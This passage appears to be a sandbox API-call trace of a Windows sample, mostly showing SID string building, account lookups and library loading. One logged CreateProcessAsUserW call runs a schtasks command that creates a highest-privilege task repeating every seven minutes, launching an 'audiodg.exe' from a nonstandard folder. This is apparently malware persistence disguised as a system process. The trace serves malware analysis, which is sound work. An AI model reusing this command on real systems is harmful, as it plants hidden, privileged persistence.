_Size=0x2a | out: _Dst=0x34da68) returned 0x34da68 [0070.905] memcpy (in: _Dst=0x34da90, _Src=0x3811a8, _Size=0x16 | out: _Dst=0x34da90) returned 0x34da90 [0070.905] free (_Block=0xef020) [0070.905] free (_Block=0xeef00) [0070.905] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0070.905] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0070.905] malloc (_Size=0x18) returned 0xeef00 [0070.906] malloc (_Size=0x18) returned 0xef020 [0070.906] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0070.906] SysStringLen (param_1="-") returned 0x1 [0070.906] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x3e | out: _Dst=0x34db78) returned 0x34db78 [0070.906] memcpy (in: _Dst=0x34dbb4, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x34dbb4) returned 0x34dbb4 [0070.906] free (_Block=0xef040) [0070.906] free (_Block=0xeef00) [0070.906] malloc (_Size=0x18) returned 0xeef00 [0070.906] malloc (_Size=0x18) returned 0xef040 [0070.906] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0070.906] SysStringLen (param_1="3835049652") returned 0xa [0070.906] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x40 | out: _Dst=0x34da68) returned 0x34da68 [0070.906] memcpy (in: _Dst=0x34daa6, _Src=0x3811a8, _Size=0x16 | out: _Dst=0x34daa6) returned 0x34daa6 [0070.906] free (_Block=0xef020) [0070.906] free (_Block=0xeef00) [0070.906] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0070.907] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0070.907] malloc (_Size=0x18) returned 0xeef00 [0070.907] malloc (_Size=0x18) returned 0xef020 [0070.907] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0070.907] SysStringLen (param_1="-") returned 0x1 [0070.907] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x54 | out: _Dst=0x34db78) returned 0x34db78 [0070.907] memcpy (in: _Dst=0x34dbca, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x34dbca) returned 0x34dbca [0070.907] free (_Block=0xef040) [0070.907] free (_Block=0xeef00) [0070.907] malloc (_Size=0x18) returned 0xeef00 [0070.907] malloc (_Size=0x18) returned 0xef040 [0070.907] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0070.907] SysStringLen (param_1="1000") returned 0x4 [0070.907] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x56 | out: _Dst=0x34da68) returned 0x34da68 [0070.907] memcpy (in: _Dst=0x34dabc, _Src=0x3811a8, _Size=0xa | out: _Dst=0x34dabc) returned 0x34dabc [0070.907] free (_Block=0xef020) [0070.907] free (_Block=0xeef00) [0070.908] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0070.908] malloc (_Size=0x5e) returned 0xf0800 [0070.908] free (_Block=0xef040) [0070.908] malloc (_Size=0x18) returned 0xef040 [0070.908] free (_Block=0xf0800) [0070.909] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0070.918] GetLastError () returned 0x7a [0070.918] malloc (_Size=0x14) returned 0xeef00 [0070.918] malloc (_Size=0x16) returned 0xef020 [0070.918] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef00, cchName=0xebcca4, ReferencedDomainName=0xef020, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0070.919] malloc (_Size=0x18) returned 0xef0a0 [0070.919] malloc (_Size=0x18) returned 0xeef20 [0070.919] free (_Block=0xeef00) [0070.919] free (_Block=0xef020) [0070.919] free (_Block=0xeff00) [0070.919] free (_Block=0xeef20) [0070.920] free (_Block=0xef0a0) [0070.920] free (_Block=0xef040) [0070.920] free (_Block=0xee200) [0070.921] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0070.921] GetTokenInformation (in: TokenHandle=0x248, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0070.921] GetLastError () returned 0x7a [0070.921] malloc (_Size=0x2c) returned 0xee240 [0070.921] GetTokenInformation (in: TokenHandle=0x248, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0070.921] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0070.921] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0070.921] malloc (_Size=0x1c) returned 0xeff00 [0070.921] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff00, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0070.921] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0070.921] malloc (_Size=0x18) returned 0xef040 [0070.921] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0070.921] malloc (_Size=0x18) returned 0xef0a0 [0070.921] malloc (_Size=0x18) returned 0xeef20 [0070.922] SysStringLen (param_1="S-1-") returned 0x4 [0070.922] SysStringLen (param_1="5") returned 0x1 [0070.922] memcpy (in: _Dst=0x381238, _Src=0x381268, _Size=0xa | out: _Dst=0x381238) returned 0x381238 [0070.922] memcpy (in: _Dst=0x381240, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x381240) returned 0x381240 [0070.922] free (_Block=0xef040) [0070.922] free (_Block=0xef0a0) [0070.922] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0070.922] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0070.922] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0070.922] malloc (_Size=0x18) returned 0xef0a0 [0070.922] malloc (_Size=0x18) returned 0xef040 [0070.922] SysStringLen (param_1="S-1-5") returned 0x5 [0070.922] SysStringLen (param_1="-") returned 0x1 [0070.922] memcpy (in: _Dst=0x3811a8, _Src=0x381238, _Size=0xc | out: _Dst=0x3811a8) returned 0x3811a8 [0070.922] memcpy (in: _Dst=0x3811b2, _Src=0x381268, _Size=0x4 | out: _Dst=0x3811b2) returned 0x3811b2 [0070.922] free (_Block=0xeef20) [0070.923] free (_Block=0xef0a0) [0070.923] malloc (_Size=0x18) returned 0xef0a0 [0070.923] malloc (_Size=0x18) returned 0xeef20 [0070.923] SysStringLen (param_1="S-1-5-") returned 0x6 [0070.923] SysStringLen (param_1="21") returned 0x2 [0070.923] memcpy (in: _Dst=0x381268, _Src=0x3811a8, _Size=0xe | out: _Dst=0x381268) returned 0x381268 [0070.923] memcpy (in: _Dst=0x381274, _Src=0x381238, _Size=0x6 | out: _Dst=0x381274) returned 0x381274 [0070.923] free (_Block=0xef040) [0070.923] free (_Block=0xef0a0) [0070.923] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0070.923] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0070.923] malloc (_Size=0x18) returned 0xef0a0 [0070.923] malloc (_Size=0x18) returned 0xef040 [0070.923] SysStringLen (param_1="S-1-5-21") returned 0x8 [0070.923] SysStringLen (param_1="-") returned 0x1 [0070.924] memcpy (in: _Dst=0x381238, _Src=0x381268, _Size=0x12 | out: _Dst=0x381238) returned 0x381238 [0070.924] memcpy (in: _Dst=0x381248, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x381248) returned 0x381248 [0070.924] free (_Block=0xeef20) [0070.924] free (_Block=0xef0a0) [0070.924] malloc (_Size=0x18) returned 0xef0a0 [0070.924] malloc (_Size=0x18) returned 0xeef20 [0070.924] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0070.924] SysStringLen (param_1="4219442223") returned 0xa [0070.924] memcpy (in: _Dst=0x3382c8, _Src=0x381238, _Size=0x14 | out: _Dst=0x3382c8) returned 0x3382c8 [0070.924] memcpy (in: _Dst=0x3382da, _Src=0x381268, _Size=0x16 | out: _Dst=0x3382da) returned 0x3382da [0070.924] free (_Block=0xef040) [0070.924] free (_Block=0xef0a0) [0070.924] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0070.924] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0070.924] malloc (_Size=0x18) returned 0xef0a0 [0070.925] malloc (_Size=0x18) returned 0xef040 [0070.925] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0070.925] SysStringLen (param_1="-") returned 0x1 [0070.925] memcpy (in: _Dst=0x337698, _Src=0x3382c8, _Size=0x28 | out: _Dst=0x337698) returned 0x337698 [0070.925] memcpy (in: _Dst=0x3376be, _Src=0x381238, _Size=0x4 | out: _Dst=0x3376be) returned 0x3376be [0070.925] free (_Block=0xeef20) [0070.925] free (_Block=0xef0a0) [0070.925] malloc (_Size=0x18) returned 0xef0a0 [0070.925] malloc (_Size=0x18) returned 0xeef20 [0070.925] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0071.015] SysStringLen (param_1="4223814209") returned 0xa [0071.015] memcpy (in: _Dst=0x34db78, _Src=0x337698, _Size=0x2a | out: _Dst=0x34db78) returned 0x34db78 [0071.015] memcpy (in: _Dst=0x34dba0, _Src=0x381238, _Size=0x16 | out: _Dst=0x34dba0) returned 0x34dba0 [0071.015] free (_Block=0xef040) [0071.015] free (_Block=0xef0a0) [0071.015] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0071.015] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0071.015] malloc (_Size=0x18) returned 0xef0a0 [0071.015] malloc (_Size=0x18) returned 0xef040 [0071.015] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0071.015] SysStringLen (param_1="-") returned 0x1 [0071.015] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x3e | out: _Dst=0x34da68) returned 0x34da68 [0071.015] memcpy (in: _Dst=0x34daa4, _Src=0x381238, _Size=0x4 | out: _Dst=0x34daa4) returned 0x34daa4 [0071.016] free (_Block=0xeef20) [0071.016] free (_Block=0xef0a0) [0071.016] malloc (_Size=0x18) returned 0xef0a0 [0071.016] malloc (_Size=0x18) returned 0xeef20 [0071.016] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0071.016] SysStringLen (param_1="3835049652") returned 0xa [0071.016] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x40 | out: _Dst=0x34db78) returned 0x34db78 [0071.016] memcpy (in: _Dst=0x34dbb6, _Src=0x381238, _Size=0x16 | out: _Dst=0x34dbb6) returned 0x34dbb6 [0071.016] free (_Block=0xef040) [0071.016] free (_Block=0xef0a0) [0071.016] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0071.016] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0071.016] malloc (_Size=0x18) returned 0xef0a0 [0071.016] malloc (_Size=0x18) returned 0xef040 [0071.016] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0071.017] SysStringLen (param_1="-") returned 0x1 [0071.017] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x54 | out: _Dst=0x34da68) returned 0x34da68 [0071.017] memcpy (in: _Dst=0x34daba, _Src=0x381238, _Size=0x4 | out: _Dst=0x34daba) returned 0x34daba [0071.017] free (_Block=0xeef20) [0071.017] free (_Block=0xef0a0) [0071.017] malloc (_Size=0x18) returned 0xef0a0 [0071.017] malloc (_Size=0x18) returned 0xeef20 [0071.017] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0071.017] SysStringLen (param_1="1000") returned 0x4 [0071.017] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x56 | out: _Dst=0x34db78) returned 0x34db78 [0071.017] memcpy (in: _Dst=0x34dbcc, _Src=0x381238, _Size=0xa | out: _Dst=0x34dbcc) returned 0x34dbcc [0071.017] free (_Block=0xef040) [0071.017] free (_Block=0xef0a0) [0071.017] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0071.017] malloc (_Size=0x5e) returned 0xf0800 [0071.018] free (_Block=0xeef20) [0071.018] malloc (_Size=0x18) returned 0xeef20 [0071.019] free (_Block=0xf0800) [0071.022] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0071.023] GetLastError () returned 0x7a [0071.023] malloc (_Size=0x14) returned 0xef0a0 [0071.023] malloc (_Size=0x16) returned 0xef040 [0071.023] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef0a0, cchName=0xebccb4, ReferencedDomainName=0xef040, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0071.023] malloc (_Size=0x18) returned 0xef020 [0071.023] malloc (_Size=0x18) returned 0xeef00 [0071.024] free (_Block=0xef0a0) [0071.024] free (_Block=0xef040) [0071.024] free (_Block=0xeff00) [0071.024] free (_Block=0xeef00) [0071.024] free (_Block=0xef020) [0071.024] free (_Block=0xeef20) [0071.024] free (_Block=0xee240) [0071.025] malloc (_Size=0x48) returned 0xed400 [0071.025] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0071.030] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0071.030] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0071.030] malloc (_Size=0x18) returned 0xeef20 [0071.030] CreateEnvironmentBlock () returned 0x1 [0071.036] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0071.036] malloc (_Size=0x18) returned 0xef020 [0071.036] CreateProcessAsUserW (in: hToken=0x234, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"audiodga\" /sc MINUTE /mo 7 /tr \"'C:\\hyperWinhost\\audiodg.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"audiodga\" /sc MINUTE /mo 7 /tr \"'C:\\hyperWinhost\\audiodg.exe'\" /rl HIGHEST /f", lpProcessInformation=0xebcdc0*(hProcess=0x2f8, hThread=0x2fc, dwProcessId=0xfbc, dwThreadId=0xfc0)) returned 1 [0071.041] CloseHandle (hObject=0x2f8) returned 1 [0071.041] CloseHandle (hObject=0x2fc) returned 1 [0071.042] free (_Block=0xef020) [0071.042] DestroyEnvironmentBlock () returned 0x1 [0071.042] malloc (_Size=0x48) returned 0xed270 [0071.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x53502320, dwHighDateTime=0x1d9eb0c)) [0071.042] SetEvent (hEvent=0x1f0) returned 1 [0071.042] CloseHandle (hObject=0x248) returned 1 [0071.042] CloseHandle (hObject=0x234) returned 1 [0071.285] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da80 [0071.285] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da80, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0071.285] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0072.029] SetLastError (dwErrCode=0x0) [0072.029] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0072.029] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0072.029] SetLastError (dwErrCode=0x0) [0072.029] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0) returned 1 [0072.029] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0072.029] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0072.029] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f510 [0072.029] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f510, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0072.029] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f510 | out: hHeap=0x2e0000) returned 1 [0072.031] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0072.032] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0072.032] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0072.032] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0072.033] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0072.033] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0072.033] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0072.035] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0072.035] GetCurrentThread () returned 0xfffffffffffffffe [0072.035] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x234) returned 1 [0072.035] malloc (_Size=0xd8) returned 0xf3750 [0072.035] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0072.035] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0072.036] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0072.036] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0072.036] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0072.036] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0072.036] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0072.036] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0072.036] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0072.037] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0072.037] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0072.037] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0072.037] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0072.037] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0072.037] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0072.037] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0072.038] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0072.038] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0072.038] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0072.038] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0072.038] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0072.038] malloc (_Size=0x18) returned 0xeef60 [0072.038] DuplicateTokenEx (in: hExistingToken=0x234, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x248) returned 1 [0072.038] malloc (_Size=0x48) returned 0xed2c0 [0072.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x53e87b20, dwHighDateTime=0x1d9eb0c)) [0072.039] SetEvent (hEvent=0x1f0) returned 1 [0072.043] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0072.043] GetLastError () returned 0x7a [0072.043] malloc (_Size=0x2c) returned 0xee200 [0072.043] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0072.043] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0072.043] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0072.043] malloc (_Size=0x1c) returned 0xeff60 [0072.043] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff60, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0072.043] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, 